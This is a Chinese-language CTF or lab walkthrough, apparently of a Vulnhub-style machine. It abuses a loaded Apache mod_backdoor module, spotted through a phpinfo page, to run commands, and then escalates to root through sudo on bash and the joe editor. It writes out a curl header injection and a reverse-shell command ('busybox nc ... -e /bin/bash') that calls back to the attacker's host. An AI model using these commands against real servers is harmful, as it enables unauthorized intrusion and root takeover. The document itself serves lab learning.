信息收集
arp-scan
nmap
获取userFlag
上web看看
dirb扫一下目录
发现一个info.php页面,去看一下
发现是一个phpinfo页面,那么后续的思路就是在这个phpinfo中找攻击面,这里可以去看一下loaded modules字段,这个字段的作用是显示当前PHP环境中加载了哪些模块,通过该字段我们可以初步的定位一些易受攻击的模块。
在其中发现加载了mod_backdoor模块,这是一个运行在apache2上的后门模块,它的原理是在默认情况下apache是以root权限启动和加载配置项的,当以root权限加载配置项时,BackdoorMod中的恶意代码会运行,就会调用fork()创建一个apache的子进程,这个子进程是apache主进程的一个副本,就相当于是把主进程复制了一份,但是此时这个子进程的权限是root的。而当加载完配置项、加载模块、绑定端口结束后,主进程会降权到运行时用户的权限(如www-data),之后的实际处理请求就都是以www-data用户的权限进行的了。
而主进程降权了,子进程不会降权,即子进程还保留了root权限,此时攻击者仍然可以通过子进程以root权限执行系统命令。所以按我的理解,这个BackdoorMod它其实是用于后渗透阶段权限维持的,而不是用于打点的。
对于mod_backdoor模块,它会检测http请求头中是否存在Backdoor字段,如果存在则会将字段的值作用系统命令执行。所以通过以下方式可以利用这个后门:
curl -H "Backdoor: id" http://192.168.43.157
然后就可以反弹shell了,命令如下:
curl -H "Backdoor: busybox nc 192.168.43.180 8888 -e /bin/bash" http://192.168.43.157
然后就能拿到一个www-data shell了,sudo -l 看一下
去GTFobins上查利用方案
这里我们可以拿个bash
然后去家目录下就可以拿到userflag了
userflag:6b9d5de6ddf297338e9ce2788198540c
获取rootFlag
继续 sudo -l 看一下
可以以root的身份执行joe命令,通过查看帮助文档发现这个joe是一个文本编辑器,它的功能应该是类似于vi、vim、nano等的,还是去GTFobins上查利用方案
按上述操作就可以拿到root shell了
然后去/root下就可以拿到rootflag了
rootflag:ffb4622f083564d104e0549e201703dc
参考链接
Apache2之隐形后门-腾讯云开发者社区-腾讯云 (tencent.com)
VladRico/apache2_BackdoorMod: A backdoor module for Apache2 (github.com)(BackdoorMod项目地址)